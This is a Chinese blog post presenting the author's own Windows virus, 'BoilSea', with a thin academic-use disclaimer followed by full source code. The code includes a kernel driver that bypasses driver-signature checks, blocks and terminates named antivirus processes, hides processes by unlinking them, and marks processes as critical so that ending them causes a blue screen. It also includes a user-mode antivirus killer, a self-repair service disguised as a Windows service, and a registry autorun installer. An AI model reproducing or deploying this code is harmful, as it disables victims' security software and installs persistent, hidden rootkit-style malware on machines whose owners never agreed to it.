视频:海鸥de诀别诗
免责声明: 本博客仅用于学术交流,不得用来违法犯罪,后果自负,与作者无关!
前言:
自己研究木马免杀和病毒开发一段时间。当时最开始研究木马免杀,但随着安全厂商技术的不断更新,尤其是启发式扫描和人工智能查杀。免杀的路越来越窄,于是重心放到了与杀软的对抗上。
原理:
逻辑漏洞:杀软会放过不可执行的文件。
程序漏洞:杀软都不对bcdedit命令进行管控、容积大,展开全面防御的时间较长。
不对bcdedit管控便可以使没有安全签名的驱动程序加载,刚开机时杀软防御薄弱,可以随意加驱。
病毒代号:BoilSea 沸海
病毒特点:
具有仿“主动防御”功能,通过杀软清单每两秒遍历进程并杀死被登记的进程(通常是杀软);
注册所有病毒必要进程为系统关键进程且无法撤销,进程被结束会导致蓝屏CRITICAL_PROCESS_DIED(保护关键进程);
驱动设备自带后门,可以被任意进程使用,使进程“杀死”、“隐藏”、“注册为系统关键进程”(方便木马);
带有自我修复功能,自我修复程序无毒,不可能被查杀(除非特征码,不过改特征码就行了)(不知道的话很难根除,用于对抗系统急救箱)。
病毒文件:
inst.exe 安装程序
BoilSea.exe 主动防御程序
BoilSea.sys 主动防御模块
Routine.exe 自我修复程序
list.lt 杀软清单
执行流程:
先释放不可执行的驱动是为了在加驱时减少释放驱动所需的时间
inst执行时间很短,完成后会创建不可执行的备份与修复程序同目录
源代码:
BoilSea.sys -> main.c
#include"Driver.h"
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath) {
BypassCheckSign(DriverObject);
NTSTATUS status = PsSetCreateProcessNotifyRoutineEx(CreateProcessNotify, FALSE);
DriverObject->DriverUnload = DriverUnload;
for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunction[i] = DeviceApi;
}
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceIoctl;
RtlInitUnicodeString(&DeviceName, DEVICE_NAME);
status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, NULL, &pDevice);
if (!NT_SUCCESS(status))
{
return STATUS_UNSUCCESSFUL;
}
RtlInitUnicodeString(&SymLinkName, SYM_LINK_NAME);
status = IoCreateSymbolicLink(&SymLinkName, &DeviceName);
if (!NT_SUCCESS(status))
{
IoDeleteDevice(pDevice);
return STATUS_UNSUCCESSFUL;
}
pDevice->Flags |= DO_BUFFERED_IO;
LookUpProcess();
return STATUS_SUCCESS;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT Driver) {
IoDeleteSymbolicLink(&SymLinkName);
IoDeleteDevice(pDevice);
PsSetCreateProcessNotifyRoutineEx(CreateProcessNotify, TRUE);
return STATUS_SUCCESS;
}
VOID CreateProcessNotify(PEPROCESS Process,HANDLE ProcessId,PPS_CREATE_NOTIFY_INFO CreateInfo)
{
PCHAR pszImageFileName = NULL;
if (CreateInfo != NULL)
{
pszImageFileName = PsGetProcessImageFileName(Process);
if (strcmp(pszImageFileName, "360sd.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "360sdrun.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "360rp.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "360rps.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "360EntDT.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "360tray.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "ZhuDongFangYu.") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "360Safe.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "HipsMain.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "HipsDaemon.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "HipsTray.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "usysdiag.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "wsctrl.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "SecurityHealth") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "QQPCRTP.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
else if (strcmp(pszImageFileName, "QQPCTray.exe") == 0)
{
CreateInfo->CreationStatus = STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY;
}
}
}
VOID LookUpProcess() {
NTSTATUS s = 0;
PEPROCESS pe = NULL;
for (size_t i = 0; i < 100000; i+=4)
{
s = PsLookupProcessByProcessId((HANDLE)i, &pe);
if (NT_SUCCESS(s))
{
if (strcmp(PsGetProcessImageFileName(pe),"HipsDaemon.exe")==0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "HipsTray.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "wsctrl.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "HipsMain.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "usysdiag.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "360Safe.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "360tray.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "360EntDT.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "ZhuDongFangYu.") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "360sd.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "360sdrun.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "360rp.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "360rps.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "SecurityHealth") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "QQPCRTP.exe") == 0)
{
MyTerminateProcess(i);
}
else if (strcmp(PsGetProcessImageFileName(pe), "QQPCTray.exe") == 0)
{
MyTerminateProcess(i);
}
pe = NULL;
}
}
}
BoilSea.sys -> Driver.h
#include<ntifs.h>
#include <ntddk.h>
#include <stdio.h>
#include <stdlib.h>
#include<windef.h>
#include <winapifamily.h>
#include <ntimage.h>
#include<wdm.h>
#define SYM_LINK_NAME L"\\??\\LongYao"
#define DEVICE_NAME L"\\Device\\LongYao"
#define IOCTL_KILL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x100, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HIDE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x200, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_PROTECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x300, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define SYSTEMPROCESSINFORMATION 5
#define PROCESS_TERMINATE 0x0001
#define PROCESS_VM_OPERATION 0x0008
#define PROCESS_VM_READ 0x0010
#define PROCESS_VM_WRITE 0x0020
_Must_inspect_result_
NTSYSAPI NTSTATUS NTAPI ZwAdjustPrivilegesToken(_In_ HANDLE TokenHandle, _In_ BOOLEAN DisableAllPrivileges, _In_opt_ PTOKEN_PRIVILEGES NewState, _In_ ULONG BufferLength, _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, _When_(PreviousState != NULL, _Out_) PULONG ReturnLength);
NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess(__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength);
NTKERNELAPI PCHAR PsGetProcessImageFileName(PEPROCESS Process);
NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTSTATUS ZwQuerySystemInformation(IN ULONG SystemInformationClass, OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength);
PDEVICE_OBJECT pDevice;
UNICODE_STRING DeviceName;
UNICODE_STRING SymLinkName;
VOID CreateProcessNotify(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo);
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT pdo);
VOID LookUpProcess();
BOOLEAN MyTerminateProcess(LONG PID);
NTSTATUS HideProcess(LONG PID);
BOOLEAN BypassCheckSign(PDRIVER_OBJECT pDriverObject);
NTSTATUS RegistProcessAsSystemProcess(LONG PID);
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath);
NTSTATUS DeviceApi(PDEVICE_OBJECT Device, PIRP pIrp);
NTSTATUS DeviceIoctl(PDEVICE_OBJECT Device, PIRP pIrp);
NTSTATUS DriverUnload(PDRIVER_OBJECT Driver);
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT PDO, _In_ PUNICODE_STRING STR);
typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
}SYSTEM_THREADS, *PSYSTEM_THREADS;
typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //链表下一个结构和上一个结构的偏移
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName; //进程名字
KPRIORITY BasePriority;
ULONG ProcessId; //进程的pid号
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
}SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
NTSTATUS HideProcess(LONG PID) {
ULONG PID_OFFSET = 0;
int idx = 0;
ULONG pids[3];
PEPROCESS eprocs[3];
for (int i = 16; idx < 3; i += 4)
{
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)i, &eprocs[idx])))
{
pids[idx] = i;
idx++;
}
}
for (int i = 0x20; i < 0x300; i += 4)
{
if ((*(ULONG *)((UCHAR *)eprocs[0] + i) == pids[0])
&& (*(ULONG *)((UCHAR *)eprocs[1] + i) == pids[1])
&& (*(ULONG *)((UCHAR *)eprocs[2] + i) == pids[2]))
{
PID_OFFSET = i;
break;
}
}
ObDereferenceObject(eprocs[0]);
ObDereferenceObject(eprocs[1]);
ObDereferenceObject(eprocs[2]);
if (PID_OFFSET == 0) {
return STATUS_UNSUCCESSFUL;
}
ULONG LIST_OFFSET = PID_OFFSET;
INT_PTR ptr;
LIST_OFFSET += sizeof(ptr);
PEPROCESS CurrentEPROCESS = PsGetCurrentProcess();
PLIST_ENTRY CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
PUINT32 CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
if (*(UINT32 *)CurrentPID == PID) {
PLIST_ENTRY Previous, Next;
Previous = (CurrentList->Blink);
Next = (CurrentList->Flink);
Previous->Flink = Next;
Next->Blink = Previous;
CurrentList->Blink = (PLIST_ENTRY)&CurrentList->Flink;
CurrentList->Flink = (PLIST_ENTRY)&CurrentList->Flink;
return STATUS_SUCCESS;
}
PEPROCESS StartProcess = CurrentEPROCESS;
CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
while ((ULONG_PTR)StartProcess != (ULONG_PTR)CurrentEPROCESS) {
if (*(UINT32 *)CurrentPID == PID) {
PLIST_ENTRY Previous, Next;
Previous = (CurrentList->Blink);
Next = (CurrentList->Flink);
Previous->Flink = Next;
Next->Blink = Previous;
CurrentList->Blink = (PLIST_ENTRY)&CurrentList->Flink;
CurrentList->Flink = (PLIST_ENTRY)&CurrentList->Flink;
return STATUS_SUCCESS;
}
CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
}
return STATUS_SUCCESS;
}
NTSTATUS RegistProcessAsSystemProcess(LONG PID)
{
NTSTATUS status = STATUS_SUCCESS;
CLIENT_ID clientId;
HANDLE handle, hToken;
TOKEN_PRIVILEGES tkp = { 0 };
OBJECT_ATTRIBUTES objAttr;
ULONG BreakOnTermination = 1;
clientId.UniqueThread = NULL;
clientId.UniqueProcess = ULongToHandle(PID);
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
status = ZwOpenProcess(&handle, PROCESS_ALL_ACCESS, &objAttr, &clientId);
if (!NT_SUCCESS(status))
{
return status;
}
status = ZwOpenProcessTokenEx(handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, OBJ_KERNEL_HANDLE, &hToken);
if (!NT_SUCCESS(status))
{
ZwClose(hToken);
return status;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_DEBUG_PRIVILEGE);
status = ZwAdjustPrivilegesToken(hToken, FALSE, &tkp, 0, NULL, NULL);
if (!NT_SUCCESS(status))
{
ZwClose(hToken);
return status;
}
status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
if (!NT_SUCCESS(status))
{
ZwClose(hToken);
return status;
}
tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_TCB_PRIVILEGE);
status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
if (!NT_SUCCESS(status))
{
ZwClose(hToken);
return status;
}
ZwClose(hToken);
return status;
}
NTSTATUS DeviceApi(PDEVICE_OBJECT Device, PIRP pIrp) {
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DeviceIoctl(PDEVICE_OBJECT Device, PIRP pIrp) {
NTSTATUS status;
PIO_STACK_LOCATION irps = IoGetCurrentIrpStackLocation(pIrp);
ULONG CODE = irps->Parameters.DeviceIoControl.IoControlCode;
ULONG info = 0;
switch (CODE)
{
case IOCTL_KILL:
;
LONG KPID = *(PLONG)(pIrp->AssociatedIrp.SystemBuffer);
MyTerminateProcess(KPID);
status = STATUS_SUCCESS;
break;
case IOCTL_HIDE:
;
LONG HPID = *(PLONG)(pIrp->AssociatedIrp.SystemBuffer);
HideProcess(HPID);
status = STATUS_SUCCESS;
break;
case IOCTL_PROTECT:
;
LONG PPID = *(PLONG)(pIrp->AssociatedIrp.SystemBuffer);
RegistProcessAsSystemProcess(PPID);
status = STATUS_SUCCESS;
break;
default:
status = STATUS_UNSUCCESSFUL;
break;
}
pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = info;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return status;
}
BOOLEAN MyTerminateProcess(LONG PID) {
HANDLE ProcessHandle;
NTSTATUS status;
OBJECT_ATTRIBUTES ObjectAttributes;
CLIENT_ID Cid;
InitializeObjectAttributes(&ObjectAttributes, 0, 0, 0, 0);
Cid.UniqueProcess = (HANDLE)PID;
Cid.UniqueThread = 0;
status = ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjectAttributes, &Cid);
if (NT_SUCCESS(status))
{
ZwTerminateProcess(ProcessHandle, status);
ZwClose(ProcessHandle);
return TRUE;
}
return FALSE;
}
BOOLEAN BypassCheckSign(PDRIVER_OBJECT pDriverObject)
{
#ifdef _WIN64
typedef struct _KLDR_DATA_TABLE_ENTRY
{
LIST_ENTRY listEntry;
ULONG64 __Undefined1;
ULONG64 __Undefined2;
ULONG64 __Undefined3;
ULONG64 NonPagedDebugInfo;
ULONG64 DllBase;
ULONG64 EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING path;
UNICODE_STRING name;
ULONG Flags;
USHORT LoadCount;
USHORT __Undefined5;
ULONG64 __Undefined6;
ULONG CheckSum;
ULONG __padding1;
ULONG TimeDateStamp;
ULONG __padding2;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
#else
typedef struct _KLDR_DATA_TABLE_ENTRY
{
LIST_ENTRY listEntry;
ULONG unknown1;
ULONG unknown2;
ULONG unknown3;
ULONG unknown4;
ULONG unknown5;
ULONG unknown6;
ULONG unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
ULONG Flags;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
#endif
PKLDR_DATA_TABLE_ENTRY pLdrData = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
pLdrData->Flags = pLdrData->Flags | 0x20;
return TRUE;
}
Routine.exe
#include <windows.h>
#include<io.h>
#include <ntsecapi.h>
#include<stdio.h>
#include<winioctl.h>
#define SLEEP_TIME 6000
#define IOCTL_KILL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x100, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HIDE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x200, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_PROTECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x300, METHOD_BUFFERED, FILE_ANY_ACCESS)
bool brun = false;
bool self_protect = false;
HANDLE hDevice = CreateFile(L"\\\\.\\LongYao", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
SERVICE_STATUS servicestatus;
SERVICE_STATUS_HANDLE hstatus;
void WINAPI ServiceMain(int argc, char** argv);
void WINAPI CtrlHandler(DWORD request);
void WINAPI ServiceMain(int argc, char** argv)
{
servicestatus.dwServiceType = SERVICE_WIN32;
servicestatus.dwCurrentState = SERVICE_START_PENDING;
servicestatus.dwControlsAccepted = 0;
servicestatus.dwWin32ExitCode = 0;
servicestatus.dwServiceSpecificExitCode = 0;
servicestatus.dwCheckPoint = 0;
servicestatus.dwWaitHint = 0;
hstatus = ::RegisterServiceCtrlHandler(L"lsload", CtrlHandler);
if (hstatus == 0)
{
return;
}
servicestatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hstatus, &servicestatus);
brun = true;
while (brun)
{
while (self_protect == false)
{
long self_pid = GetCurrentProcessId();
DWORD len = 0;
UCHAR buffer[20];
memset(buffer, 0x00, 20);
DeviceIoControl(hDevice, IOCTL_PROTECT, &self_pid, 4, buffer, 20, &len, NULL);
self_protect = true;
}
if ((_access("C:\\Users\\LongYao\\BoilSea\\BoilSea.sys",0)!=0)||(_access("C:\\Users\\LongYao\\BoilSea\\BoilSea.exe", 0) != 0))
{
system("ren C:\\Windows\\LocalService\\DrvInst.e DrvInst.exe");
system("C:\\Windows\\LocalService\\DrvInst.exe");
}
Sleep(SLEEP_TIME);
}
}
void WINAPI CtrlHandler(DWORD request)
{
switch (request)
{
case SERVICE_CONTROL_STOP:
break;
case SERVICE_CONTROL_SHUTDOWN:
break;
default:
break;
}
SetServiceStatus(hstatus, &servicestatus);
}
int __cdecl wmain(int argc, char* argv[])
{
SERVICE_TABLE_ENTRY entrytable[2];
entrytable[0].lpServiceName = (LPWSTR)L"Windows RuntimeBroker Manager";//服务名
entrytable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
entrytable[1].lpServiceName = NULL;
entrytable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(entrytable);
return 0;
}
BoilSea.exe
#include <Windows.h>
#include <ntsecapi.h>
#include<stdio.h>
#include<winioctl.h>
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(x) ((x) >= 0)
#define IOCTL_KILL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x100, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HIDE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x200, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_PROTECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x300, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
DWORD BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
ULONG PrivatePageCount;
DWORD VirtualMemoryCounters;
IO_COUNTERS IoCounters;
PVOID Threads[0];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemVerifierAddDriverInformation,
SystemVerifierRemoveDriverInformation,
SystemProcessorIdleInformation,
SystemLegacyDriverInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemVerifierThunkExtend,
SystemSessionProcessInformation,
SystemLoadGdiDriverInSystemSpace,
SystemNumaProcessorMap,
SystemPrefetcherInformation,
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,
SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorInformation,
SystemExtendedHandleInformation,
SystemLostDelayedWriteInformation,
SystemBigPoolInformation,
SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,
SystemObjectSecurityMode,
SystemWatchdogTimerHandler,
SystemWatchdogTimerInformation,
SystemLogicalProcessorInformation,
SystemWow64SharedInformation,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,
SystemModuleInformationEx,
SystemVerifierTriageInformation,
SystemSuperfetchInformation,
SystemMemoryListInformation,
SystemFileCacheInformationEx,
MaxSystemInfoClass
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *pfnZwQuerySystemInformation)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,IN OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength);pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
UINT32 PrintProcessesIDAndName();
HANDLE hDevice = CreateFile(L"\\\\.\\LongYao", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
void HideWindow() {
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}
int main()
{
HideWindow();
long self_pid = GetCurrentProcessId();
DWORD len = 0;
UCHAR buffer[20];
memset(buffer, 0x00, 20);
DeviceIoControl(hDevice, IOCTL_PROTECT, &self_pid, 4, buffer, 20, &len, NULL);
HMODULE NtdllHmodule = GetModuleHandle(L"ntdll.dll");
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(NtdllHmodule, "ZwQuerySystemInformation");
while (true)
{
PrintProcessesIDAndName();
Sleep(2000);
}
return 0;
}
UINT32 PrintProcessesIDAndName()
{
UINT32 BufferLength = 0x1000;
void* BufferData = NULL;
NTSTATUS Status = STATUS_INFO_LENGTH_MISMATCH;
HANDLE HeapHandle = GetProcessHeap();
UINT32 ProcessID = 0;
BOOL bOk = FALSE;
while (!bOk)
{
BufferData = HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, BufferLength);
if (BufferData == NULL)
{
return 0;
}
Status = ZwQuerySystemInformation(SystemProcessInformation, BufferData, BufferLength, (PULONG)&BufferLength);
if (Status == STATUS_INFO_LENGTH_MISMATCH)
{
HeapFree(HeapHandle, NULL, BufferData);
BufferLength *= 2;
}
else if (!NT_SUCCESS(Status))
{
HeapFree(HeapHandle, NULL, BufferData);
return 0;
}
else
{
PSYSTEM_PROCESS_INFORMATION SystemProcess = (PSYSTEM_PROCESS_INFORMATION)BufferData;
while (SystemProcess)
{
char ProcessName[MAX_PATH];
memset(ProcessName, 0, sizeof(ProcessName));
WideCharToMultiByte(0, 0, SystemProcess->ImageName.Buffer, SystemProcess->ImageName.Length, ProcessName, MAX_PATH, NULL, NULL);
ProcessID = (UINT32)(SystemProcess->ProcessId);
#pragma warning(suppress : 4996)
FILE *fin = fopen("C:\\Users\\LongYao\\BoilSea\\list.lt", "r");
char i[20];
while (!feof(fin))
{
fscanf_s(fin, "%s", i, 20);
if (strcmp(i, ProcessName) == 0)
{
DWORD len = 0;
UCHAR buffer[20];
memset(buffer, 0x00, 20);
long pid = ProcessID;
DeviceIoControl(hDevice, IOCTL_KILL, &pid, 4, buffer, 20, &len, NULL);
}
}
if (fin != NULL)
{
fclose(fin);
}
if (!SystemProcess->NextEntryOffset)
{
break;
}
SystemProcess = (PSYSTEM_PROCESS_INFORMATION)((unsigned char*)SystemProcess + SystemProcess->NextEntryOffset);
}
if (BufferData)
{
HeapFree(HeapHandle, NULL, BufferData);
}
bOk = TRUE;
}
}
return ProcessID;
}
inst.exe -> main.cpp
#include <windows.h>
#include<thread>
#include<iostream>
#include<fstream>
#include"R.h"
#define IOCTL_KILL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x100, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HIDE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x200, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_PROTECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x300, METHOD_BUFFERED, FILE_ANY_ACCESS)
bool brun = false;
using namespace std;
SERVICE_STATUS servicestatus;
SERVICE_STATUS_HANDLE hstatus;
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
string path = __argv[0];
void WINAPI ServiceMain(int argc, char** argv);
void WINAPI CtrlHandler(DWORD request);
char *StringToChar(const string &object) {
char *result = (char *)object.data();
return result;
}
void AutoRun(const string &RegName) { //admin
string temp = R"(REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v )";
const string &autorunName = RegName;
string path = "C:\\Users\\LongYao\\BoilSea.exe";
string cmd = temp + autorunName + " /t REG_SZ /d " + path + " /f";
system(StringToChar(cmd));
}
